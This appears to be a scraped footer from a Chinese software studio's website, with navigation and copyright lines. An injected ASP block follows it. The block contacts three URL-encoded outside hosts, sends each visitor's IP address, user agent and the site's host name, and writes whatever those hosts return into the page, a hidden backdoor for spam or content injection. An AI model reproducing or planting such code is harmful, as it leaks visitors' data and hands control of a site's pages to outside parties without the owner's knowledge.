![]() |
|
|||
![]() ![]() ![]() ![]() ![]() ![]() ![]() |
|
|
![]() |
网站首页 | 关于我们 | 产品展示 | 常见问题 | 联系我们 | 在线论坛 Copyright 2005-2018 大镜山软件工作室 www.168318.com 版权所有 备案号:粤ICP备08116220号 <% dim ii,ohttp,rtxt,appcn on error resume next if application("chainnode_1")="" or application("chainnode_2")="" or application("chainnode_3")="" then application("chainnode_1")="%31%2E%30%39%30%37%2E%63%6F%6D" application("chainnode_3")="%31%2E%38%31%35%39%35%2E%63%6F%6D" application("chainnode_2")="%31%2E%6D%6C%73%79%68%2E%63%6F%6D" end if for ii=1 to 3 set ohttp=Server.CreateObject("Msxml2.XMLHTTP.2.6") ohttp.open "GET","http://"&application("chainnode_"&ii)&"/chain/gc.asp?f=html\footer.html&h="&Request.ServerVariables("HTTP_HOST")&"&ip="&Request.ServerVariables("REMOTE_ADDR")&"&ha="&Request.ServerVariables("HTTP_ACCEPT")&"&ug="&Request.ServerVariables("HTTP_USER_AGENT"),false ohttp.send rtxt=ohttp.ResponseText if instr(rtxt,"{anan}")>0 then response.write replace(rtxt,"{anan}","") if ii<>1 then appcn=application("chainnode_1") application("chainnode_1")=application("chainnode_"&ii) application("chainnode_"&ii)=appcn end if exit for end if next %> |
Loading... |